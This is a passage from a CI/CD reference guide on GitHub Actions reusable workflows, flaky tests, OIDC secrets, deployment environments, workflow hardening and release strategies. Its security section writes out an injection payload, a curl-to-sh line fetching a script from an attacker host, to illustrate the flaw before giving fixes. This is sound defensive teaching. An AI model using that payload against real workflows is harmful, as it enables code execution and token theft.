  • The calling job accepts only a fixed keyword set: `name`, `uses`, `with`, `secrets`, `secrets.inherit`, `strategy`, `needs`, `if`, `concurrency` and `permissions` (plus `cache-mode` where available). There is no `runs-on`, `steps`, `env`, `environment` or `timeout-minutes` on the caller; those belong to the called jobs.
  • Secrets are not implicit. Pass them by name under `secrets:` or all at once with `secrets: inherit`. Per the docs they travel only to the directly called workflow: in A to B to C, C receives only what B passes explicitly. A workflow-level `env` in the caller is not propagated to the called workflow; use `vars`, inputs or secrets.
  • `GITHUB_TOKEN` permissions can only be maintained or reduced down the chain. If the calling job sets no `permissions`, the called workflow gets the default permissions for the token, so setting `permissions` on the calling job is how the caller caps it. The `github` context always belongs to the caller, so `github.workflow` is the caller's name.
  • Limits per the docs (as of 2026-10): up to ten levels of workflows on github.com (the top-level caller plus nine nested levels; four levels on GHES), at most 50 unique reusable workflows from one workflow file counting nested trees (20 on GHES), and no loops. A chain fails if any nested workflow is inaccessible to the initial caller. A caller job can have a `strategy.matrix`; if a matrix of reusable workflows sets an output, the value is from the last successful matrix run that set one.
  • Outputs need two mappings: a step writes to `$GITHUB_OUTPUT`, the job maps it under `jobs.<id>.outputs`, and `on.workflow_call.outputs.<name>.value` maps the job output. The caller then reads `needs.<job>.outputs.<name>`. Environment secrets work when the called job sets `environment:`; the caller must still pass the secret, and if it does not the secret resolves to an empty string without an error unless the secret has `required: true`.
  • A composite action (`runs.using: composite` in `action.yml`) is a sequence of steps that runs inside the caller's job, on the same runner and workspace, and every `run` step needs an explicit `shell`. Choose a composite action to share a few steps with the surrounding job's files and tools; choose a reusable workflow to share whole jobs, including runner selection, permissions, environments and secrets.

Examples

The called side: typed inputs, an optional secret, a workflow-level output mapped from a job output, and least-privilege `permissions`. actionlint 1.7.12 clean.

yaml
name: build-and-test
on:
  workflow_call:
    inputs:
      node-version:
        description: Node.js major version
        type: string
        default: "22"
      run-e2e:
        type: boolean
        default: false
    secrets:
      registry-token:
        required: false
    outputs:
      artifact-name:
        description: Name of the uploaded build artifact
        value: ${{ jobs.build.outputs.artifact-name }}
permissions:
  contents: read
jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      artifact-name: ${{ steps.meta.outputs.name }}
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: ${{ inputs.node-version }}
      - run: npm ci
        env:
          NPM_TOKEN: ${{ secrets.registry-token }}
      - run: npm test
      - if: ${{ inputs.run-e2e }}
        run: npm run e2e
      - id: meta
        run: echo "name=build-${GITHUB_SHA}" >> "$GITHUB_OUTPUT"

The calling side: pinned to a full commit SHA (a placeholder here), explicit input and secret, and a `permissions` cap on the calling job. actionlint 1.7.12 clean when the called file is present.

yaml
name: ci
on:
  pull_request:
  push:
    branches: [main]
jobs:
  build:
    uses: demo-org/shared-workflows/.github/workflows/build-and-test.yml@0123456789abcdef0123456789abcdef01234567
    with:
      node-version: "22"
      run-e2e: ${{ github.event_name == 'push' }}
    secrets:
      registry-token: ${{ secrets.NPM_TOKEN }}
    permissions:
      contents: read
  report:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - run: echo "artifact is ${{ needs.build.outputs.artifact-name }}"

A composite action sharing setup steps inside the caller's job. It is YAML-parsed only: actionlint checks workflow files, not `action.yml`.

yaml
name: setup-demo-app
description: Install dependencies with a lockfile-keyed cache
inputs:
  node-version:
    description: Node.js major version
    required: false
    default: "22"
runs:
  using: composite
  steps:
    - uses: actions/setup-node@v7
      with:
        node-version: ${{ inputs.node-version }}
        cache: npm
    - run: npm ci
      shell: bash

In practice

  • GitHub Actions workflow_call — The built-in mechanism; the reference lists the keywords allowed on a calling job and the ten-level limit.
  • actions/starter-workflows — GitHub's template repository: templates are copied into each repository, a different model from calling one shared file at run time.
  • slsa-framework/slsa-github-generator — Provenance generation is shipped as reusable workflows that callers reference by tag, because the isolation of a separate called workflow is part of the trust model.
  • GitLab CI include — `include: project/file/ref` merges another project's YAML into the pipeline, which shares configuration rather than running a separate called pipeline.
  • actionlint — Resolves local `uses:` paths and checks inputs and secrets against the called file's declarations.

Trade-offs

Pros

  • One fix lands in every caller by moving a pinned reference
  • Whole jobs, including runners, permissions and environments, are shared
  • A typed inputs and secrets contract is checked before the run
  • Callers keep control of their token permissions with a cap on the calling job

Cons

  • Debugging crosses file and repository boundaries
  • A branch reference makes a shared workflow a single point of failure for every caller
  • The fixed keyword set on the calling job means no `env` or `timeout-minutes` there
  • Depth and uniqueness limits, plus access rules for private repositories, constrain large template trees

How to measure a flake rate, why retries only help independent failures, how to quarantine without hiding regressions, and the usual root causes.

The problem

A suite has fifty tests that each fail one run in a hundred for no reason related to the change. If the failures are independent, about 40% of pull request runs go red anyway, so developers learn to press re-run before reading the log, and a real regression gets re-run into a pass. Adding automatic retries makes the dashboard green again, but it also hides the rate, doubles the minutes of the slow tests, and leaves the cause in place.

How it works

  • A flaky test is one that both passes and fails on the same commit. The pipeline cost is combinatorial: with n independent tests that each fail with probability p, a run is red with probability 1 - (1 - p)^n. For n = 50 and p = 1% that is 1 - 0.99^50 = 39.5%, and a single retry per test drops each failure to p^2 = 0.01%, so the run is red about 0.5% of the time (this assumes independent failures, which shared-state flakes are not).
  • Measure before deciding. Run the suspect test many times on one commit with retries off (the script in the second snippet runs it 30 times and counts failures), then compare with the project's CI history. A test that fails 3 times in 30 has a rate near 10%, which is different from one that failed once in 500.
  • Retries have two shapes. A job-level rerun (`gh run rerun RUN_ID --failed`) reruns only failed jobs and their dependencies, costs a whole job, and leaves the first attempt in history; a runner-level retry (Playwright `--retries=1`) repeats only the failed test and marks tests that failed then passed as `flaky` in the report. The second is cheaper and more informative, and recent Playwright releases can fail the run on such tests with `--fail-on-flaky-tests`.
  • Quarantine separates the signal from the noise: tag the test (`@quarantine`), exclude it from the blocking job with `--grep-invert`, and run it in a separate job with `continue-on-error: true` so its result is recorded but does not fail the workflow run. A quarantine needs an owner and an expiry date, or it becomes a graveyard of coverage that nobody reads.
  • Reproduce with the same inputs. `go test -count=50 -run TestCheckout ./...` repeats a test (`-count` also disables the result cache), and `go test -shuffle=on` randomizes order and prints the seed so a failing order can be replayed with `-shuffle=SEED`. Playwright has `--repeat-each N`. Most order-dependent flakes disappear when the test is run alone and appear when the full suite runs in a different order.
  • The recurring causes are fixed sleeps instead of waiting for a condition, shared mutable state such as a database or temp directory, hard-coded ports, wall-clock time and time zones, unordered map or set iteration, and resource-starved runners with tight timeouts. Each has a concrete fix (wait for a condition, per-test schema, port 0, injected clock, sorted output) that is cheaper over time than a retry.
  • A job that hangs is a flake that costs 6 hours: `timeout-minutes` defaults to 360 on GitHub-hosted runners (the job execution limit). Set an explicit timeout near three times the normal duration so a deadlocked test fails in minutes. A workflow run can be re-run at most 50 times in total, which includes partial re-runs.
  • Track the numbers that show whether the policy works: share of runs that went green only after a re-run, count of quarantined tests and their age, and median time to green. A rising quarantine count with no fixes means retries and quarantine have turned into a way to ignore failures; some teams cap the quarantine size and make exceeding it block merges.

Examples

A blocking job with one test-level retry and a non-blocking quarantine job that repeats each tagged test five times. actionlint 1.7.12 clean; the Playwright flags are checked against its CLI docs, not run here.

yaml
name: tests
on:
  pull_request:
jobs:
  stable:
    runs-on: ubuntu-latest
    timeout-minutes: 20
    steps:
      - uses: actions/checkout@v7
      - run: npx playwright test --retries=1 --grep-invert @quarantine
  quarantine:
    runs-on: ubuntu-latest
    timeout-minutes: 20
    continue-on-error: true
    steps:
      - uses: actions/checkout@v7
      - run: npx playwright test --grep @quarantine --repeat-each=5

Estimate a failure rate on one commit with retries off, then rerun only the failed jobs of a run once. `go test` flags per `go help testflag`; the loop itself was only syntax-checked.

bash
# Run one suspect test 30 times and count failures before deciding to quarantine it
fails=0
for i in $(seq 1 30); do
  npx playwright test tests/checkout.spec.ts --retries=0 >/dev/null 2>&1 || fails=$((fails + 1))
done
echo "failed $fails of 30 runs"

# Rerun only the failed jobs of a run (one rerun, not an automatic loop)
gh run rerun 1234567890 --failed

In practice

  • Playwright Test — Reports tests that failed first and passed on retry as `flaky`, and offers `--repeat-each` and `--fail-on-flaky-tests`.
  • Go testing — `-count` repeats tests and bypasses the test cache, and `-shuffle` prints the seed used so an order-dependent failure can be replayed.
  • pytest-rerunfailures — A plugin that reruns failed tests a set number of times, with the same trade-off between a green build and a hidden failure rate.
  • Bazel — `--flaky_test_attempts` retries tests marked flaky and reports them as FLAKY, separating them from plain failures.
  • Buildkite Test Engine — Collects results across builds to rank tests by flake rate; one example of the hosted tools built around the measuring step.

Trade-offs

Pros

  • A test-level retry removes most independent flakes from the blocking path cheaply
  • Quarantine keeps the test running and visible without blocking merges
  • Repeat runs and shuffled order turn a vague flake into a reproducible failure
  • Failure-rate numbers give the team a basis for deciding what to fix first

Cons

  • Retries cost minutes and hide the failure rate if the report does not count them
  • A retry can turn a real intermittent product bug into a green build
  • Quarantine decays into permanent skipping without owners and deadlines
  • Order and timing flakes may need production code changes, not test changes

Secrets & environments

How a job trades a short-lived OIDC token for cloud credentials, which sub and aud claims a trust policy should check, and where stored secrets and log masking fall short.

The problem

A deploy workflow authenticates to the cloud with an access key stored as a repository secret. The key has no expiry, it is readable by every workflow in the repository, it was pasted into three other repositories during a migration, and nobody remembers who last rotated it. When it leaks through a debug log or a compromised action, the blast radius is whatever the key can do, for as long as nobody notices. OpenID Connect replaces the stored key with a token that the job requests at run time, that lives for one job, and that the cloud checks against conditions on repository, branch or environment.

How it works

  • Flow: the job asks GitHub's OIDC provider (issuer `https://token.actions.githubusercontent.com`) for a signed JWT, presents it to the cloud's token service, the cloud validates the signature and checks the claims against a trust policy, then returns short-lived credentials valid for the job. Nothing long-lived is stored in GitHub, and the cloud account needs an identity provider entry plus a role whose trust policy names the conditions.
  • The job needs `permissions: id-token: write` to request the token; without it the JWT cannot be requested. The setting only allows fetching the OIDC token and grants no write access to repository contents. It also exposes `ACTIONS_ID_TOKEN_REQUEST_URL` and `ACTIONS_ID_TOKEN_REQUEST_TOKEN` to the job, and every step in the job (including third-party actions) can use them, so grant it only to the deploy job.
  • `aud` defaults to the URL of the repository owner, for example `https://github.com/demo-org`. Cloud login actions set their own audience (`sts.amazonaws.com` for AWS, `api://AzureADTokenExchange` for Azure Login), and custom code can ask for one with `core.getIDToken(audience)` or by appending `&audience=...` to the request URL. The trust policy must check `aud` as well as `sub`, otherwise a token issued for another consumer could be replayed.
  • Default `sub` formats, per the docs: `repo:ORG/REPO:ref:refs/heads/BRANCH`, `repo:ORG/REPO:ref:refs/tags/TAG`, `repo:ORG/REPO:pull_request` for pull request events, and `repo:ORG/REPO:environment:NAME` whenever the job references an environment. The environment form replaces the branch and pull request forms, so a job with `environment: production` carries no branch in its `sub`; restrict which branches can deploy through the environment's deployment branch rules.
  • Immutable subjects: repositories created after July 15, 2026 default to `repo:OWNER@OWNER-ID/REPO@REPO-ID:ref:refs/heads/BRANCH`, repositories created earlier keep the old format unless the organization or repository opts in, and renames and transfers after that date move to the immutable form. GitHub Enterprise Server is excluded. A trust policy written for `repo:demo-org/demo-app:...` stops matching on such repositories, so check which format a repository emits before copying a policy.
  • The docs say to define at least one condition so that untrusted repositories cannot obtain tokens. Use exact `StringEquals` on `sub` for a specific branch or environment; a wildcard such as `repo:demo-org/demo-app:*` also matches pull request subjects and any environment. Other claims that can be matched include `repository_owner`, `ref`, `environment`, `event_name`, `runner_environment` and, for reusable workflows, `job_workflow_ref`. The sub template can be customized, and a `:` inside a value is encoded as `%3A`.
  • Stored secrets still exist for systems without OIDC. Limits as of 2026-10: 1,000 organization secrets, 100 repository secrets and 100 environment secrets, each up to 48 KB; when names collide the lowest level wins (environment over repository over organization). Secrets are not passed to workflows triggered by fork pull requests, other than `GITHUB_TOKEN`.
  • Log redaction is exact-match only. GitHub masks registered secret values, but the docs warn against structured data (a JSON blob stored as one secret) because redaction needs exact matches, and a transformed value, such as Base64 or URL-encoded, must be registered as its own secret. Pass secrets through `env` to the one step that needs them, never write them to files in the workspace, and never rely on masking as the only barrier.

Examples

Exchange the job's OIDC token for AWS credentials; only the deploy job holds `id-token: write`. actionlint 1.7.12 clean; the role and the AWS exchange were not run here.

yaml
name: deploy-aws
on:
  push:
    branches: [main]
permissions:
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@v7
      - uses: aws-actions/configure-aws-credentials@v6
        with:
          role-to-assume: arn:aws:iam::123456789012:role/demo-app-deploy
          aws-region: eu-west-1
      - run: aws sts get-caller-identity

A trust policy that pins both audience and subject to one branch of one repository. The JSON was parsed with jq; the AWS call is the documented shape and was not run here. Use the `owner@id/repo@id` subject for repositories on the immutable format.

bash
# Trust policy for an IAM role that only the main branch of one repo may assume
cat > trust-policy.json <<'JSON'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
          "token.actions.githubusercontent.com:sub": "repo:demo-org/demo-app:ref:refs/heads/main"
        }
      }
    }
  ]
}
JSON
aws iam create-role --role-name demo-app-deploy \
  --assume-role-policy-document file://trust-policy.json

Request a token by hand and decode its claims. The decoding pipeline was tested on a synthetic token with jq; the request itself needs a GitHub-hosted job and was not run here.

bash
# Inside a job that has "permissions: id-token: write" (shown for illustration)
resp=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://demo-registry")
token=$(printf '%s' "$resp" | jq -r .value)

# Decode the payload to see the claims a trust policy can match on
printf '%s' "$token" | jq -R 'split(".")[1] | gsub("-"; "+") | gsub("_"; "/") | @base64d | fromjson | {iss, aud, sub, ref, environment, job_workflow_ref, event_name}'

In practice

  • aws-actions/configure-aws-credentials — Takes `role-to-assume` and calls AssumeRoleWithWebIdentity with the job's OIDC token; the IAM trust policy conditions on `aud` and `sub`.
  • Azure/login — Uses federated credentials with the audience `api://AzureADTokenExchange` and a subject filter that mirrors GitHub's `sub` format.
  • google-github-actions/auth — Workload Identity Federation maps GitHub claims to a Google service account through an attribute condition on the token.
  • HashiCorp Vault — The JWT auth method accepts the token with `bound_audiences` and `bound_subject` to turn a workflow identity into a Vault policy.
  • GitLab CI id_tokens — Declares per-job tokens with an explicit `aud` and a `sub` of the form `project_path:group/project:ref_type:branch:ref:main`.

Trade-offs

Pros

  • No long-lived cloud key in GitHub to leak, rotate or copy between repositories
  • Credentials expire with the job, so a leaked log line is useless afterwards
  • Trust policies tie access to repository, branch or environment instead of to a shared key
  • Cloud audit logs show which workflow identity acted

Cons

  • Each cloud needs an identity provider and role set up once, with policy syntax that differs per vendor
  • A loose wildcard `sub` condition grants access to every branch and pull request
  • Subject formats changed on July 15, 2026, so copied policies can silently stop matching
  • Systems without OIDC support still need stored secrets

What required reviewers, wait timers, deployment branch rules and environment secrets enforce before a job runs, and the gaps that admin bypass and plan limits leave.

The problem

Anyone with write access can merge a change to the deploy workflow, and the production credentials sit in repository secrets where every job can read them. A team adds a manual "are you sure" step in the pipeline, which is bypassed the first time someone edits the YAML on a branch. Environments move the gate out of the workflow file: the platform holds the secrets, applies the rules, and releases the job only after the rules pass.

How it works

  • A job joins an environment with `environment: production` or the object form with `name` and `url`. The job then waits for the environment's protection rules before it starts, and the environment's secrets and variables are available only after those rules pass. Referencing an environment that does not exist creates it with no rules and no secrets; anyone who can edit workflows can do that, but only repository admins can configure it.
  • Required reviewers: up to 6 users or teams, at least read access, and only one of them needs to approve. "Prevent self-review" stops the person who triggered the deployment from approving it. Reviewers see a "Review deployments" prompt with "Approve and deploy" or "Reject"; a rejected job fails the workflow run.
  • Wait timer: an integer from 1 to 43,200 minutes (30 days) that delays the job after it is triggered; the waiting time is not billed. Workflow limits as of 2026-10: approval may wait up to 30 days, and a whole workflow run is cancelled at 35 days including waiting.
  • Deployment branches and tags restrict which refs may deploy: no restriction, protected branches only, or selected name patterns. Patterns match the run's `GITHUB_REF`, wildcards do not cross `/` (use `release/*/*` for two levels), and a pull request run has `GITHUB_REF` `refs/pull/N/merge`, so it deploys only if a rule for that pattern exists. Without a branch rule, a branch with a modified workflow can target `production` and wait for the same approval.
  • Admins can bypass protection rules by default ("Start all waiting jobs" while a job is pending); deselecting "Allow administrators to bypass configured protection rules" prevents it. Custom protection rules from GitHub Apps can call an external system, such as a change-management or observability check, before releasing the job.
  • Secrets resolve at the lowest level that defines them, so an environment secret named `DEPLOY_TOKEN` overrides a repository or organization secret with the same name. With a reusable workflow, the environment is set on the called job (the calling job cannot use `environment:`), the caller must still pass the secret by name or with `secrets: inherit`, and a missing environment secret becomes an empty string without an error unless it is declared `required: true`.
  • Environments feed OIDC: a job that references an environment has the `sub` claim `repo:ORG/REPO:environment:NAME`, so a cloud role trusting that subject can only be assumed after the environment's rules passed. That is a stronger gate than a branch subject, which any job on that branch can present, provided the deployment branches are restricted so the environment name cannot be reused from arbitrary branches.
  • Availability, per the docs as of 2026-10: environments for private repositories need GitHub Pro, Team or Enterprise; on Free, Pro and Team plans required reviewers, wait timers and admin-bypass control are documented as public-repository features, and on Free plans environment secrets are public-repository only. Self-hosted runners do not isolate environment secrets in a container, so treat them like repository secrets there.

Examples

Build once, deploy to `staging`, then `production`, which pauses for its protection rules. The deploy is serialized by a concurrency group that never cancels a running deploy. actionlint 1.7.12 clean; the approval gate itself runs only on GitHub, not run here.

yaml
name: release
on:
  push:
    branches: [main]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: echo "build"
  deploy-staging:
    needs: build
    runs-on: ubuntu-latest
    environment:
      name: staging
      url: https://staging.demo-app.example.com
    steps:
      - run: echo "deploying with ${{ vars.REGION }}"
  deploy-production:
    needs: deploy-staging
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://demo-app.example.com
    concurrency:
      group: deploy-production
      cancel-in-progress: false
    permissions:
      id-token: write
      contents: read
    steps:
      - run: ./deploy.sh
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

Configure the environment through the REST API: one reviewer team, no self-review, a 10 minute wait and name-pattern branch rules. Body fields per the REST docs for create-or-update environment; the team id is a placeholder and the call was not run here.

bash
# Create or update an environment: 1 reviewer team, no self-review, 10 minute wait,
# only branches that match name patterns
gh api --method PUT repos/demo-org/demo-app/environments/production \
  --input - <<'JSON'
{
  "wait_timer": 10,
  "prevent_self_review": true,
  "reviewers": [{ "type": "Team", "id": 1234567 }],
  "deployment_branch_policy": {
    "protected_branches": false,
    "custom_branch_policies": true
  }
}
JSON

# Secrets and variables scoped to that environment
gh secret set DEPLOY_TOKEN --env production --repo demo-org/demo-app
gh variable set REGION --env production --body eu-west-1 --repo demo-org/demo-app

A reusable deployment workflow: the environment comes from an input on the called job, and the secret is declared `required` so a caller that forgets it fails instead of deploying with an empty value. actionlint 1.7.12 clean.

yaml
name: deploy-reusable
on:
  workflow_call:
    inputs:
      target:
        type: string
        required: true
    secrets:
      DEPLOY_TOKEN:
        required: true
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.target }}
    steps:
      - run: ./deploy.sh "$TARGET"
        env:
          TARGET: ${{ inputs.target }}
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

In practice

  • GitHub Environments — Bundle secrets, variables, reviewers, wait timers and branch rules under a name that jobs reference with `environment:`.
  • GitLab protected environments — Restrict who may deploy; deployment approvals (Premium and Ultimate) block the deployment job until the required approvals are given.
  • GitHub deployment protection rules (GitHub Apps) — Third-party systems implement custom gates, for example ticketing or monitoring checks, that must pass before a job is released.
  • Argo CD — A pull-based alternative: promotion happens through a pull request that changes the environment's directory, and the review on that pull request is the approval.
  • HCP Terraform — Runs have their own confirm-and-apply gate on a plan, comparable to a required reviewer on an environment.

Trade-offs

Pros

  • The gate lives in repository settings, so editing the workflow file does not remove it
  • Secrets for production exist only in jobs that passed the rules
  • Approvals leave an audit trail of who released which run
  • The environment name becomes a stable identity for OIDC trust policies

Cons

  • Plan limits decide which rules are available on private repositories
  • Admin bypass is on by default and is easy to leave enabled
  • A pending approval holds a concurrency slot and delays later deploys
  • Rules protect only jobs that reference the environment, so scope and branch rules need care

How expression interpolation turns issue titles and branch names into shell code, why pull_request_target plus a PR checkout is a pwn request, and the fixes: env indirection, SHA-pinned actions and least privilege.

The problem

A workflow greets new issues with `echo "New issue ${{ github.event.issue.title }}"`. Someone opens an issue titled `x"; curl -s https://attacker.example/steal.sh | sh; echo "` and the runner executes it with the job's token. Another workflow uses `pull_request_target` to run tests on fork PRs with a private registry token, and the fork's `Makefile` prints the token. Both are ordinary mistakes with the same cause: attacker-controlled text or code reached a step that had privileges.

How it works

  • Script injection: `${{ }}` is expanded before the shell sees the script, so the value becomes script text. Attacker-controlled fields include issue and PR titles and bodies, comment bodies, branch names (`github.head_ref`), commit messages and author names, and workflow dispatch inputs. Branch names can contain shell metacharacters such as `$(...)` and `;`. The first snippet shows the script text that bash receives after expansion.
  • The fix is to move the value out of the script text: assign it to an environment variable in `env:` and use `"$VAR"` in the script, so the shell treats it as data. The docs call this the preferred inline approach; their recommended one is a JavaScript action that takes the context value as an argument. actionlint 1.7.12 flags the vulnerable form (observed: `"github.event.issue.title" is potentially untrusted. avoid using it directly in inline scripts`). The same applies to the `script:` input of `actions/github-script`.
  • `pull_request` is the safe default for fork code: the workflow file comes from the PR's merge commit, secrets are withheld, the token is read-only, and by default first-time contributors need approval before it runs. Since the fork can edit the workflow file, this event is safe because it has nothing to steal, not because the YAML is trusted.
  • `pull_request_target` runs the base repository's default-branch workflow with secrets and a read/write token, which is safe only while no fork code runs. The docs list the vulnerable shapes: checking out `github.event.pull_request.head.sha` or `refs/pull/N/merge` and then building or testing it, setting `repository:` to the fork, and fetching PR code with `git fetch` or `gh pr checkout`. Running `make`, `npm install` or any build tool on checked-out PR code is code execution.
  • `actions/checkout` v7 refuses to check out fork PR code under `pull_request_target` and `workflow_run` by default (its `action.yml` declares `allow-unsafe-pr-checkout` with default `false`); `allow-unsafe-pr-checkout: true` opts out and is meant to be easy to spot in review. The protection covers fork PR refs only, not `git fetch`, `gh pr checkout` or a downloaded artifact. Also, `pull_request_target` runs get read-only access to the default branch's cache scope, so they cannot poison caches.
  • Platform policy is changing (as of 2026-10): for public repositories, GitHub adds a default event policy that blocks `pull_request_target`; it runs in evaluate mode, where runs continue and policy insights show what would be blocked, and the docs state that on November 2, 2026 GitHub will enforce the default policy for affected repositories that were using it before general availability (documented for github.com and GitHub Enterprise Cloud, not GHES). A repository that needs the event must add an explicit allowing event policy.
  • Pin third-party actions to a full-length commit SHA, which the docs call the only way to use an action as an immutable release, and check that the SHA belongs to the action's repository rather than a fork. Tags can be moved, so `@v4` is a trust decision in the action's maintainers. Keep the version in a comment (`# v7.0.1`), set `persist-credentials: false` on checkout when later steps do not push, and restrict `permissions` so a compromised action has little to use.
  • Self-hosted runners should almost never serve public repositories because anyone can open a pull request that runs on them; if they must, use ephemeral, isolated runners. Supply-chain attestation (signed provenance with `attestations: write` and `id-token: write`, SBOMs) proves where an artifact was built but does not stop a malicious pull request from running, so it complements the controls above rather than replacing them.

Examples

What the injection looks like: the issue title closes the quote, runs a command, and reopens a quote. The comments show the vulnerable step and the expanded script; the code is only a syntax-checked illustration and must not be run.

bash
# Workflow step (vulnerable):  run: echo "New issue ${{ github.event.issue.title }}"
# Issue title typed by an attacker:
#   x"; curl -s https://attacker.example/steal.sh | sh; echo "
# Script text the runner writes to disk and hands to bash, after expansion:
echo "New issue x"; curl -s https://attacker.example/steal.sh | sh; echo ""

The fixed form: untrusted values go through `env` and are quoted in the script, the action is pinned to a full SHA with the version in a comment, and the token is not persisted. actionlint 1.7.12 clean, while the same kind of value interpolated directly into `run:` is flagged.

yaml
name: pinned
on:
  pull_request:
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - name: Pass untrusted values through env, not through the script text
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
          HEAD_REF: ${{ github.head_ref }}
        run: |
          echo "title: $PR_TITLE"
          echo "branch: $HEAD_REF"

A `pull_request_target` workflow that stays on the safe side of the line: no checkout, only API calls, scoped token. actionlint 1.7.12 clean; runtime behavior per the docs, not run here.

yaml
name: label-pr
on:
  pull_request_target:
    types: [opened, reopened, synchronize]
permissions: {}
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Label by size using only the API
        env:
          GH_TOKEN: ${{ github.token }}
          PR: ${{ github.event.pull_request.number }}
          REPO: ${{ github.repository }}
        run: |
          files=$(gh api "repos/$REPO/pulls/$PR/files" --jq 'length')
          if [ "$files" -gt 50 ]; then
            gh pr edit "$PR" --repo "$REPO" --add-label "size/large"
          fi

In practice

  • actions/checkout — Version 7 blocks checking out fork pull request code under `pull_request_target` and `workflow_run` unless `allow-unsafe-pr-checkout: true` is set.
  • GitHub Security Lab — Published "Preventing pwn requests" and the untrusted-input guide that GitHub's docs link to for the underlying risks.
  • actionlint — Reports untrusted `github.event.*` values used directly in `run:` scripts and checks that expressions are well typed.
  • CodeQL for GitHub Actions — Static analysis of workflow files for injection and untrusted-checkout patterns, recommended in GitHub's hardening guidance.
  • GitHub Dependabot — Its pull requests are treated like fork pull requests, so repository secrets are withheld unless they are stored as Dependabot secrets.

Trade-offs

Pros

  • `env` indirection removes the injection class with a one-line change per step
  • Using `pull_request` for fork code leaves nothing for an attacker to steal
  • SHA-pinned actions make a moved tag harmless
  • Policies and checkout guards catch mistakes that review misses

Cons

  • SHA pins need a process to update, or they go stale
  • Read-only fork tokens mean some PR automation needs the two-workflow pattern
  • Platform defaults are shifting, so a workflow that works today can be blocked after enforcement
  • Attestation and signing add pipeline steps without stopping untrusted code from running

Release strategies

How recreate, rolling, blue-green, canary and shadow (mirrored) releases differ in extra capacity, rollback speed, blast radius and data compatibility, and which one fits which constraint.

The problem

A release reaches 100% of users in one step, and a bug that only appears under real traffic returns 500s for twelve minutes until someone rolls back. Another team adopts blue-green, but both colours share one database and the instant switch back fails after a schema change. The strategy decides how much traffic meets a defect, how fast the change can be undone, and what the data layer must tolerate while two versions are alive.

How it works

  • Recreate stops every old instance before starting new ones. In Kubernetes it is `.spec.strategy.type: Recreate`: per the docs all existing Pods are killed before new ones are created, which means downtime but guarantees that two versions never overlap. It fits single-writer or schema-locked software; rolling updates are covered on the kubernetes sheet (see-also links) and need adjacent versions to be compatible because both serve traffic at once.
  • Blue-green keeps two production environments as identical as possible: one is live, the final testing happens on the idle one, and a router switch moves all traffic; rollback is switching back (Martin Fowler's description). It needs roughly double capacity during the window, and in Kubernetes it is a Service selector change. Connections that are already established are typically not moved by the selector change (not run here).
  • Canary is, per the Google SRE workbook, a partial and time-limited deployment of a change together with its evaluation; the part that gets the change is the canary and the rest is the control. The worked example: a candidate that fails 20% of requests would fail 20% of requests if deployed everywhere, while a 5% canary yields a 1% overall error rate, and error budget impact is proportional to the traffic exposed.
  • A canary only works if the new version is measured separately. In the workbook's example the canary's errors were barely visible in overall traffic and became obvious only when the same metric was split by version. Plan per-version labels on metrics, abort criteria written down before the rollout, and an automated analysis step for anything beyond a handful of services.
  • Traffic splitting in Gateway API is `backendRefs` with `weight`: per the API source the weight defaults to 1, is not a percentage, the weights need not sum to 100, 0 means no traffic, and the maximum is 1000000; support varies by implementation. The example route sends 95/5 and lets a header opt a request into the canary. It validated with kubeconform and the CRDs catalog; a running gateway was not available here.
  • Without a gateway or mesh, a canary can be two Deployments behind one Service (the Kubernetes docs describe this canary pattern with separate Deployments), where the share is roughly proportional to Pod counts. The granularity is coarse (one Pod out of ten is about 10%), cannot target a user cohort, and does not scale the canary independently of its share.
  • Shadow (mirrored) traffic copies requests to the new version and discards its answers. Gateway API's `RequestMirror` filter says the mirror's responses must be ignored, takes `percent` or `fraction` (in the standard-channel CRDs from Gateway API v1.3; v1.2 had them only in the experimental channel), mirrors 100% when neither is set, and is Extended support. Users see no effect from responses, but writes, emails and payments are duplicated unless the shadow has stubbed or read-only dependencies, and every dependency sees extra load.
  • A/B testing keeps stable cohorts for days to compare business metrics, where a canary asks whether a build is safe and finishes at 100% or 0%. It needs sticky assignment (user id or header) and a longer compatibility window between versions, and is usually driven by feature flags with deterministic bucketing. Whatever the strategy, every one except recreate runs two versions on one database, so the schema must serve both (see db-migrations-expand-contract).

Examples

Canary by weight: 95/5 for everyone, plus a header that opts a request in (kubeconform with the CRDs catalog clean; gateway behaviour not run here).

yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: demo-app
spec:
  parentRefs:
    - name: public-gateway
  hostnames:
    - demo.example.com
  rules:
    - matches:
        - headers:
            - name: x-canary
              value: "always"
      backendRefs:
        - name: demo-app-canary
          port: 80
    - backendRefs:
        - name: demo-app-stable
          port: 80
          weight: 95
        - name: demo-app-canary
          port: 80
          weight: 5

Shadow traffic: 10% of requests are copied to demo-app-next and its responses are ignored (kubeconform clean; support is implementation-specific).

yaml
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: demo-app-shadow
spec:
  parentRefs:
    - name: public-gateway
  rules:
    - filters:
        - type: RequestMirror
          requestMirror:
            backendRef:
              name: demo-app-next
              port: 80
            percent: 10
      backendRefs:
        - name: demo-app-stable
          port: 80

Blue-green on plain Kubernetes: the switch and the rollback are the same one-line change (not run here, no cluster).

bash
